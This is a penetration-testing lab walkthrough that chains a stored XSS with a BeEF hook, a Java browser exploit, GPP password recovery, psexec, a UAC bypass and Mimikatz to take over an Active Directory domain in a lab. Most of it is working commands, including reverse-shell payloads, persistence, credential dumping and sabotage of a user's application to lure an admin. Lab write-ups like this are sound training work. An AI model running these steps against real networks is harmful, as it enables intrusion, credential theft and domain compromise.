This lab starts by exploiting a stored XSS vulnerability and a vulnerable Java browser plugin to get a (unprivileged) remote shell on one of the company’s internal network machines.
In a next step, using the socalled Group Policy Preferences (GPP) vulnerability, it’s possible to get local administrator credentials. Bypassing UAC allows to further escalate the privileges to SYSTEM and force a domain administrator to login to the machine, by preventing an importing application to work,so that the user will contact IT support.
The domain administrator will log in to our machine. As a result, we’re able to extract the credentials using Mimikatz (Kiwi). With the domain admin credentials, we can login to the domain controller via RDP.
Preparation
# Store own ip in variable
$ myip=$(ip a s tap0 | grep "inet " | awk '{print $2}' | cut -d/ -f1)
# Add hostname
$ echo -e "172.16.111.1\tblog.fooresearch.site" | sudo tee -a /etc/hosts
# Install cli json parser
$ sudo apt install -y jq
# Store beef REST url in variable
$ beefapi="http:/127.0.0.1:3000/api"
Task 1: Hook a Browser
Hook an internal browser with BeEF-XSS. Your XSS has to be stealth. If a user detects something strange, for example an alert(), they will stop browsing the blog.
Let’s begin by starting beef-xss and preparing the URL that will be used to hook a victim’s browser:
# Start beef-xss
$ sudo beef-xss
# Prepare hook url
$ hookurl="<script src=\"http://${myip}:3000/hook.js\"></script>"
Embed the hook URL onto the site using the stored XSS vuln:
# Exploit stored xss
$ curl -i -s -k -X $'POST' \
-H $'Host: blog.fooresearch.site' \
-H $'Content-Type: application/x-www-form-urlencoded' \
-d "username=user&comment=hi${hookurl}" \
$'http://blog.fooresearch.site/index.php'
Now wait until a victim within the internal network visits the site:
# List and filter hooked browsers
$ token=$(curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"username":"beef", "password":"beef123"}' \
$beefapi/admin/login \
| jq -r '.token')
$ curl -s $beefapi/hooks\?token\=$token \
| jq -r '.["hooked-browsers"].online
| select(.[].os=="Windows")
| select(.[].name=="IE")'
Task 2: Browser Information Gathering
Get information about the browser and its plugins, try to find a vulnerable plugin to exploit.
From the browser details, we can see that the hooked browser is an IE10 running on a Windows 7 x86 machine:
# Get more information about our hooked browser
$ session=$(curl -s $beefapi/hooks\?token\=$token \
| jq -r '.["hooked-browsers"].online
| select(.[].os=="Windows")
| select(.[].name=="IE")
| .[].session')
$ curl -s $beefapi/hooks/$session\?token\=$token \ | jq
Using the Get System Info module, which is running a Java applet on the hooked browser, we notice that a vulnerable Java version 1.7.0_17 is installed:
# Run module "Get System Info (Java)"
$ moduleid=$(curl -s $beefapi/modules\?token\=$token \
| jq '.[]
| select(.name=="Get System Info (Java)")
| .id')
$ commandid=$(curl -s -X POST \
-H "Content-Type: application/json; charset=UTF-8" \
-d '{}' \
$beefapi/modules/$session/$moduleid\?token\=$token \
| jq -r '.command_id')
$ curl -s $beefapi/modules/$session/$moduleid/$commandid\?token\=$token \
| jq -r ".[].data" \
| jq -r ".data" \
| sed 's/<br>/\n/g' \
| grep "Java Version"
Task 3: Get a Shell
Using the information gathered get a shell on an internal machine.
We’ll make use of one of the many jre17 Metasploit exploits, which generates a URL that we will use to get a shell in the next step:
# Run metasploit jre17 exploit module
$ msfconsole -q -x \
"use exploit/multi/browser/java_jre17_driver_manager; \
set LHOST tap0; \
set LPORT 4444; \
set TARGET Windows x86 (Native Payload); \
set PAYLOAD windows/meterpreter/reverse_tcp; \
set SRVHOST tap0; \
set SRVPORT 8080; \
set URIPATH mypath; \
exploit -j"
The following command will embed our URL into an iframe so that it is called by the hooked browser:
# Run beef-xss "create invible iframe" module
$ moduleid=$(curl -s $beefapi/modules\?token\=$token \
| jq '.[]
| select(.name=="Create Invisible Iframe")
| .id')
$ curl -s -X POST \
-H "Content-Type: application/json; charset=UTF-8" \
-d "{\"target\": \"http://${myip}:8080/mypath\"}" \
$beefapi/modules/$session/$moduleid\?token\=$token \
| jq -r '.command_id'
Let’s wait for the Meterpreter session to come up. We’ll notice the domain user, the domain name, the hostname and it’s IP address:
# get basic information
meterpreter > getuid
Server username: EXAMPLEAD\SecondUser
meterpreter > sysinfo
Computer : PCCLIENT7
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : EXAMPLEAD
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > ipconfig
[...]
IPv4 Address : 192.168.200.210
IPv4 Netmask : 255.255.255.0
[...]
Task 4: Active Directory Exploitation
Task 4.1: Information Gathering
Get information about the AD infrastructure, especially:
- The domain name
- Information about domain controllers
We gather information using the cmd prompt (output is snipped for better readability):
# List members of local administrators group
C:\Users\SecondUser\Desktop>net localgroup administrators
Administrator
EXAMPLEAD\Domain Admins
LADM
# List local user accounts
C:\Users\SecondUser\Desktop>net user
User accounts for \\PCCLIENT7
Administrator Guest LADM
# List domain
C:\Users\SecondUser\Desktop>net view /domain
EXAMPLEAD
# List domain machines
C:\Users\SecondUser\Desktop>net view /domain:examplead
\\DC01
\\PCCLIENT7
\\PCCLIENTXP
# List domain controllers
C:\Users\SecondUser\Desktop>net group "Domain Controllers" /domain
DC01$
# List domain users
C:\Users\SecondUser\Desktop>net users /domain
User accounts for \\DC01.examplead.lan
Administrator exampleadm ExampleUser
Guest krbtgt SecondUser
# Get IP addresses
C:\Users\SecondUser\Desktop>nslookup pcclientxp
Name: pcclientxp.examplead.lan
Address: 192.168.200.200
C:\Users\SecondUser\Desktop>nslookup dc01
Name: dc01.examplead.lan
Address: 192.168.200.100
Task 4.2: Credentials Stealing
Exploiting default group policies’ files permission get the username and password of a local administrator account.
I found this blog post about privilege escalation via GPPs. The post explains following:
What this means for us as pen testers is that if we have access to ANY Domain account, we can pull down the “cpassword” values for accounts stored on the Domain Controller and simply decrypt the plaintext password. Given that these policies are set in order to manage multiple machines in a Domain, we can often move laterally, authenticating with Local Administrator privileges to a number of other machines. This freedom to move around the network can open all sorts of opportunities for further exploitation.
Let’s use a Metasploit module to search the GPP files for local user credentials:
meterpreter > run post/windows/gather/credentials/gpp
[...]
[*] Parsing file: \\DC01\SYSVOL\examplead.lan\Policies\{69BCC2AD-B7E5-4E02-833D-DBFDD19E7EB4}\MACHINE\Preferences\Groups\Groups.xml ...
[+] Group Policy Credential Info
============================
Name Value
---- -----
TYPE Groups.xml
USERNAME LADM
PASSWORD Pm2fUXScqI
DOMAIN CONTROLLER DC01
DOMAIN examplead.lan
CHANGED 2014-07-31 12:11:27
NEVER_EXPIRES? 1
DISABLED 0
NAME Local administrator LADM
Task 5: Explore the Network
Identify other hosts on the network and get information about their operating systems.
First, we need to set a route into the target network through our session:
# Add route to target network via existing session
meterpreter > run autoroute -s 192.168.200.0/24
Find hosts on the network using netbios:
# Run netbios scan
msf6 > use auxiliary/scanner/netbios/nbname
msf6 auxiliary(scanner/netbios/nbname) > set rhosts 192.168.200.0-255
msf6 auxiliary(scanner/netbios/nbname) > run
[+] 192.168.200.100 [DC01] OS:Windows Names:(DC01, EXAMPLEAD) Addresses:(192.168.200.100) Mac:00:50:56:a0:e9:95 Virtual Machine:VMWare
[+] 192.168.200.200 [PCCLIENTXP] OS:Windows Names:(PCCLIENTXP, EXAMPLEAD) Addresses:(192.168.200.200) Mac:00:50:56:a0:b5:b8 Virtual Machine:VMWare
[+] 192.168.200.210 [PCCLIENT7] OS:Windows Names:(PCCLIENT7, EXAMPLEAD, __MSBROWSE__) Mac:00:50:56:a0:0f:0d Virtual Machine:VMWare
Run a port scan on each of the discovered hosts:
# Run port scan
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.200.100,200,210
msf6 auxiliary(scanner/portscan/tcp) > set threads 200
msf6 auxiliary(scanner/portscan/tcp) > set ports 1-1000
msf6 auxiliary(scanner/portscan/tcp) > run
[+] 192.168.200.200: - 192.168.200.200:135 - TCP OPEN
[+] 192.168.200.200: - 192.168.200.200:139 - TCP OPEN
[+] 192.168.200.210: - 192.168.200.210:135 - TCP OPEN
[+] 192.168.200.210: - 192.168.200.210:139 - TCP OPEN
[+] 192.168.200.200: - 192.168.200.200:445 - TCP OPEN
[+] 192.168.200.210: - 192.168.200.210:445 - TCP OPEN
[+] 192.168.200.100: - 192.168.200.100:53 - TCP OPEN
[+] 192.168.200.100: - 192.168.200.100:88 - TCP OPEN
[+] 192.168.200.100: - 192.168.200.100:135 - TCP OPEN
[+] 192.168.200.100: - 192.168.200.100:139 - TCP OPEN
[+] 192.168.200.100: - 192.168.200.100:389 - TCP OPEN
[+] 192.168.200.100: - 192.168.200.100:445 - TCP OPEN
[+] 192.168.200.100: - 192.168.200.100:464 - TCP OPEN
[+] 192.168.200.100: - 192.168.200.100:593 - TCP OPEN
[+] 192.168.200.100: - 192.168.200.100:636 - TCP OPEN
From the port scan, we can see that SMB port is open on each machine. Hence, we can use the smb_version module to identify the OS running on each machine:
# Detect OS versions
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set rhost 192.168.200.100,200,210
msf6 auxiliary(scanner/smb/smb_version) > run
[+] 192.168.200.100:445 - Host is running Windows 2008 Datacenter SP1 (build:6001) (name:DC01) (domain:EXAMPLEAD)
[+] 192.168.200.200:445 - Host is running Windows XP SP3 (language:English) (name:PCCLIENTXP) (domain:EXAMPLEAD)
[+] 192.168.200.210:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:PCCLIENT7) (domain:EXAMPLEAD)
Task 6: Get an Administrator Shell
Choose your next target and use the credentials you got at the previous task to get a shell.
Run psexec on all hosts with our gathered (local) credentials:
# Run psexec
msf6 > use exploit/windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set rhosts 192.168.200.100,200,210
msf6 exploit(windows/smb/psexec) > set smbuser LADM
msf6 exploit(windows/smb/psexec) > set smbpass Pm2fUXScqI
msf6 exploit(windows/smb/psexec) > set lhost tap0
msf6 exploit(windows/smb/psexec) > set lport 6666
msf6 exploit(windows/smb/psexec) > exploit
# We have a session on host "pcclientxp"
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : PCCLIENTXP
OS : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Domain : EXAMPLEAD
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > ipconfig
[...]
IPv4 Address : 192.168.200.200
IPv4 Netmask : 255.255.255.0
[...]
# Create persistence (optional)
meterpreter > run persistence -X -i 10 -p 8888 -r tap0
We know that there is a user LADM on pcclient7, but psexec fails. Let’s try the run_as module:
# generate payload
$ msfvenom \
-p windows/meterpreter/reverse_tcp \
LHOST=$myip \
LPORT=9999 \
-f exe > rev.exe
# upload to target and set file permissions
meterpreter > upload rev.exe C:\\Users\\SecondUser\\Desktop\\rev.exe
C:\Users\SecondUser\Desktop>icacls rev.exe /grant Everyone:(F)
# start handler
msfconsole -q -x \
"use exploit/multi/handler; \
set payload windows/meterpreter/reverse_tcp; \
set lhost tap0; \
set lport 9999; \
exploit"
# use "run_as" to get a reverse shell
msf6 > use post/windows/manage/run_as
msf6 post(windows/manage/run_as) > set user LADM
msf6 post(windows/manage/run_as) > set password Pm2fUXScqI
msf6 post(windows/manage/run_as) > set session 1
msf6 post(windows/manage/run_as) > set domain pcclient7 # local user
msf6 post(windows/manage/run_as) > set CMD "C:\\Users\\SecondUser\\Desktop\\rev.exe"
msf6 post(windows/manage/run_as) > exploit
# We have a Meterpreter shell as LADM
meterpreter > getuid
Server username: PCCLIENT7\LADM
It’s necessary to bypass UAC to get SYSTEM privileges:
# getsystem command fails
meterpreter > getsystem
[-] priv_elevate_getsystem: Operation failed: This function is not supported on this system. The following was attempted:
[...]
# UAC is enabled
meterpreter > run post/windows/gather/win_privs
[...]
Is Admin Is System Is In Local Admin Group UAC Enabled Foreground ID UID
-------- --------- ----------------------- ----------- ------------- ---
False False True True 1 PCCLIENT7\LADM
[...]
# bypass UAC (run multiple times an check your sessions)
msf6 > use exploit/windows/local/bypassuac_injection
msf6 exploit(windows/local/bypassuac_injection) > set lhost tap0
msf6 exploit(windows/local/bypassuac_injection) > set lport 10000
msf6 exploit(windows/local/bypassuac_injection) > set session 2
msf6 exploit(windows/local/bypassuac_injection) > set target Windows x86
msf6 exploit(windows/local/bypassuac_injection) > exploit
# the new session is in context of same user but with admin privileges
meterpreter > getuid
Server username: PCCLIENT7\LADM
[...]
meterpreter > run post/windows/gather/win_privs
Is Admin Is System Is In Local Admin Group UAC Enabled Foreground ID UID
-------- --------- ----------------------- ----------- ------------- ---
True False True True 1 PCCLIENT7\LADM
[...]
# getsystem now works
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Task 7: Force a Domain Admin to connect to the target machine
Find a way to cause a Domain Administrator to connect to the target machine.
# The processes shows an unusual "ModernApp.exe" executable
meterpreter > ps
[...]
2432 2360 ModernApp.exe x86 1 EXAMPLEAD\SecondUser C:\Program Files\ModernApp\ModernApp.exe
[...]
If we kill and delete it, the user may get help by a domain admin user, which will login and leave credentials in memory:
# kill process and delete executable
meterpreter > kill 2432
meterpreter > del "C:\Program Files\ModernApp\ModernApp.exe"
Now verify
# Check if domain admin has authenticated
meterpreter > ps -U "ExampleAdm"
Task 8: Obtain Domain Admin Credentials
Find a way to steal an authorization token or credentials of a domain administrator.
Now that we know, a domain administrator has logged in into our system, we can try to extract credentials using mimikatz (now named kiwi):
# load kiwi extension
meterpreter > load kiwi
# retrieve all credentials
meterpreter > creds_all
[...]
LADM PCCLIENT7 Pm2fUXScqI
SecondUser EXAMPLEAD consciousAlert...
exampleadm EXAMPLEAD manageth3PC'z
[...]
Task 9: RDP Connection
Open an RDP connection to a domain controller as a domain admin as PoC of your exploitation.
First verify, if RDP port is open on DC:
# Run port scan
msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.200.100
msf6 auxiliary(scanner/portscan/tcp) > set threads 100
msf6 auxiliary(scanner/portscan/tcp) > set ports 3389
msf6 auxiliary(scanner/portscan/tcp) > run
[...]
[+] 192.168.200.100: - 192.168.200.100:3389 - TCP OPEN
Now that we know RDP is active on the DC, let’s find a way to connect to it:
# Forward RDP connection using Meterpreter
erpreter > portfwd add -l 3333 -p 3389 -r 192.168.200.100
[*] Local TCP relay created: :3333 <-> 192.168.200.100:3389
# Connect to RDP with domain admin creds
$ rdesktop -u exampleadm -p "manageth3PC'z" -d examplead 127.0.0.1:3333